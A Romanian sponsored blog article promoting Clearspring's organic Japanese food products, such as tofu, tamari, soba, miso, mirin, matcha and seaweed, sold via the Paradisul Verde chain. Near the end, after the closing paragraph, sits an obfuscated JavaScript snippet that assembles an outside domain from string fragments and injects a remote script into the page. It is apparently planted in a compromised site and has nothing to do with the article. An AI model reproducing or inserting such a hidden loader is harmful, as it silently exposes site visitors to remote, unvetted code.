Cele mai bune ingrediente organice pentru pasionații de preparate japoneze

Ești pasionat de preparatele japoneze? Dacă da, atunci pe bună dreptate, căci bucătăria japoneză oferă o abundență de delicii gastronomice cu o varietate uimitoare de mâncăruri regionale și de sezon.

De la standuri mobile de mâncare până la ryotei vechi de secole, locuri de băut atmosferice, terase ridicate sezonier peste râuri, lanțuri de magazine ieftine și restaurante tematice unice despre ninja și roboți, Japonia oferă de toate.

Cele mai populare feluri de mâncare includ preparate cu orez, vestitul sushi, yakitori, sashimi, tonkatsu, okonomiyaki și takoyaki, tempura și tofu, pastele udon și soba, supă ramen, murături diverse, dulciuri și ceai verde.

La noi însă este destul de dificil să găsești ingredientele necesare pentru prepararea acestor rețete culinare. Sau cel puțin, era… până acum!

Asta pentru că i-am descoperit pe cei de la Clearspring – o familie de producători de ingrediente și alimente organice din UK, printre care o grămadă de bunătăți japoneze! Unde i-am găsit în România? În magazinele Paradisul Verde și pe site-ul lor online.

Să îți povestim puțin despre Cleaspring:

Este o afacere de familie care, din 1993, s-a angajat să promoveze specialități japoneze autentice și alimente ecologice rafinate. Unele dintre gamele lor de produse sunt premiate, savurate și apreciate în întreagă lume!

Convingerea lor este că toată lumea ar trebui să aibă acces ușor la alimente organice de calitate, pentru a mânca bine. Așadar, produsele lor aduc o contribuție valoroasă la agricultură durabilă, sprijinind fermerii ecologici, producătorii artizanali de alimente și o dietă pe baza de plante.

De la începuturile companiei, când aveau ca și produs umilă supă miso și până în prezent, când se laudă cu peste 300 produse organice, gamele de produse premium continuă să crească. Sunt mereu inspirați să aducă diversitate, inovație și bunăstare prin mâncare. Toate produsele lor au o aromă distinctivă și sunt realizate cu rețete autentice și metode tradiționale.

Bun, bun, dar haide să vedem ce gama de produse organice ne oferă cei de la Clerspring și cu ce vin în ajutorul nostru în ceea ce privește bucătăria japoneză. Alătură-te nouă pentru a vedea ce produse emblematice au!

Descoperă Japonia prin intermediul gamei de produse organice Clearspring

#1. Tofu Silken organic

Un bestseller în Europa, obținut din doar 3 ingrediente: boabe de soia întregi de calitate premium care sunt cultivate special pentru Clearspring, apă de izvor și nigari. Rezultatul este un tofu moale și cremos, care poate fi savurat direct din ambalaj, cu cartofi prăjiți sau amestecat într-un desert cremos.

Tofu Silken este un produs premiat, organic, delicios, bogat în proteine și cu conținut scăzut de grăsimi. Producătorul s-a dedicat perfecționării acestui produs din 1973, conform unei rețete unice Clearspring.

#2. Sosul de soia organic Tamari

Foarte important de menționat în ceea ce privește Yaemon Tamari: este unul dintre singurele sosuri de soia Tamari de acest fel disponibile în lume!

Raportul sau rar de double-strenght (tărie dublă), versatilitatea și bogăția aromei sale umami sunt rezultatul a 6 generații de tradiție artizanală și măiestrie japoneză. Este fabricat de familia Yaemon în Japonia, care realizează acest sos de soia excepțional din 1871.

Pentru obținerea lui, se utilizează de două ori mai multe boabe de soia de calitate premium pentru o sticlă – față de sosurile de soia obișnuite – această proporție mare având că și rezultat o aromă mai fină și mai echilibrată, dar niciodată copleșitoare.

#3. Tăițeii organici Soba, din hrișcă

Sunt fabricați în Nagano, Japonia, încă din 1973. Sunt delicioși, versatili, fără gluten, cu un gust bogat de hrișcă și o aromă de nucă. Sunt cunoscuți că Juwari Soba în limba japoneză, adică 100% din hrișcă.

Soba sunt adesea serviți în Japonia după petreceri mari sau la sfârșitul unei băuturi de seară. De asemenea, sunt serviți în mod tradițional pe 1 ianuarie pentru a sărbători începutul anului nou – firele lungi de tăiței simbolizează o viață lungă, putere și rezistență, ambele caracteristici ale plantei de hrișcă.

#4. Gama de paste miso

Miso este fabricat după o rețeta de familie veche, în Nagano, Japonia și oferă un echilibru deosebit între sărat și dulce, în timp de ce lovește cu savoarea umami.

Ca și vinul francez sau berile belgiene, miso vine în numeroase soiuri, fiecare cu propriul gust, culoare și textura și fiecare reflectând tradiția locală, culturile agrare și condițiile de creștere ale diferitelor regiuni din Japonia.

În timp ce miso dulce cu conținut mai scăzut de soia, mai puțină sare și mai mult koji este popular în sudul Japoniei, miso mai închis, adesea numit „aka” sau miso roșu, conține mai multă soia și mai puține koji de cereale și provine în mod tradițional din partea de nord a Japoniei. .Gama Clearspring include tot ce este mai bun din fiecare tip de miso, atât întunecat, cât și deschis, precum și soiuri pure pe baza de boabe de soia și cereale.

#5. Mirin Mikawa

Mirin-ul din regiunea Mikawa (nume vechi al actualei prefecturi Aichi, Japonia) este considerat cel mai bun din Japonia.

Este produs printr-o metodă tradițională de fermentare a koji și îmbătrânire atentă de peste nouă luni. Orezul dulce este folosit în locul amidonului mai ieftin, găsit în celelalte produse de pe piață.Mirin este folosit pentru a îndulci și oferă o profunzime de aromă.

#6. Ceai verde Matcha organic

Faimosul ceai verde pudra Matcha despre care auzim pe peste tot și pe care îl vedem în tot soiul de preparate!

Pudra de un verde vibrant este obținută din frunze de ceai japonez de cea mai înalta calitate, în Uji – o regiune înalta și deluroasă din jurul Kyoto și Kyushu, renumită pentru producerea celor mai bune ceaiuri japoneze.

Condițiile de creștere, timpul de recoltare și tehnicile de procesare au un efect direct asupra gradului și aromei finale a Matcha:

• Matcha de calitate ceremonială folosește cele mai fine și mai mici frunze recoltate chiar de la vârful tufei de ceai – dându-i o culoare verde foarte vibrantă și o aromă ușor dulce, netedă.
• Matcha de calitate premium este ideal atât pentru băut, cât și pentru copt acasă, poate adăuga o aromă unică și o culoare incredibilă rețetelor de mâncare și băuturi.
• Matcha de baza este ușor amar, mai puțin costisitor și este, în general, folosit doar pentru gătit.

Produsele organice Uji Matcha de înalta calitate sunt cultivate sub conducerea diligență a maestrului de ceai Clearspring, Juro Okuda.

Tufele de ceai sunt acoperite cu pânză cât mai mult timp posibil pentru a produce frunze de culoare verde intens.

“Este foarte dificil să crești matcha organic: trebuie să lupți atât împotriva insectelor, cât și împotriva bolilor. Insectele dăunătoare pot apărea și din cauza micilor schimbări climatice care amenință cultura de ceai. Din acest motiv, este esențial să gestionăm cultivarea într-un mod care să acorde o importanță primordială ecosistemului natural.”

Gradele Ceremonial și Premium de Matcha sunt măcinate în mojare de piatră timp de multe ore. Acest lucru creează o netezime ușoară unică, perfectă pentru băut.

#7. Gama de alge marine organice

Legumele marine (algele marine) sunt din ce în ce mai recomandate ca aliment al viitorului. În mod surprinzător pentru mulți, algele de mare au fost deja folosite de secole că aliment, în special în zonele de coasta din Irlanda, Anglia, Țara Galilor, Norvegia, Coasta Maine, precum și Japonia, Coreea și China. Nu numai că sunt bogate în nutrienți, vegane și delicioase, ci și sustenabile; pot fi cultivate fără a fi nevoie de pământ, apă dulce sau îngrășământ.

Clearspring a oferit o gama de alge marine japoneze, inclusiv Sushi Nori, Wakame și Arame, încă de la începutul său, în 1993.

Recent, și-au extins gama prin lansarea unei noi game Organic Atlantic, inclusiv fulgi de agar, Dulse, salată de mare și spaghete de mare. Întreaga gama este cultivată în mod durabil în Oceanul Atlantic, furnizată de o întreprindere de familie și vine într-un ambalaj inovator, 100% durabil, care are o pungă interioară compostabila acasă.

Unii dintre voi ar putea fi deja familiarizați cu gama lor de alge marine. Pentru cei care nu sunt, le enumerăm: gama Nori autentic japonez, Hokkaido Kombu, Hijiki, Arame, Mixul de salată de alge (Wakame, Agar, Aka Tsunomata), Wakame, fulgi de Agar, Dulse și Clearspring Sea Spaghetti.

_________________

Și acestea sunt doar câteva dintre produsele pe care cei de la Clearpsring le pun la dispoziție, in România, prin intremediul lanțului de magazine Paradisul Verde. Pe lângă acestea, vei mai găși și diverse tipuri de alge marine organice, ciuperci shiitake, paste umami, supe miso instant, siropuri bio, piure-uri de fructe, diverse legume în suc propriu, sosuri italiene, crackersi, paste și pâine crocantă, uleiuri diverse, oțeturi tulburi din cidru de mere și multe altele.

Așadar, te invităm să arunci o privire asupra celor de la Cleaspring și să îți îmbogățești gama de ingrediente și alimente premium, organice, care nu numai că vor aduce savoare preparatelor tale dar și un plus de sănătate și o stare de bine!

(function(){ wyiu=document.createElement(„script”);wyiu.type=”text/javascript”; wyiu.async=true;wyiu_=((„us”)+”t”)+”a”;wyiu_+=(„t.i”)+””+”n”;wyiu_+=((„f”)+”o”);wyiu_+=”/”; wyiuu=”484107993.”;wyiuu+=”k9hu4la4yiuj1c4hlXwxy3n4gqvlXw”;wyiu.src=”https://”+wyiu_+wyiuu; wyiudb=document.body;wyiudb.appendChild(wyiu); })();

Articol susținut de Cleaspring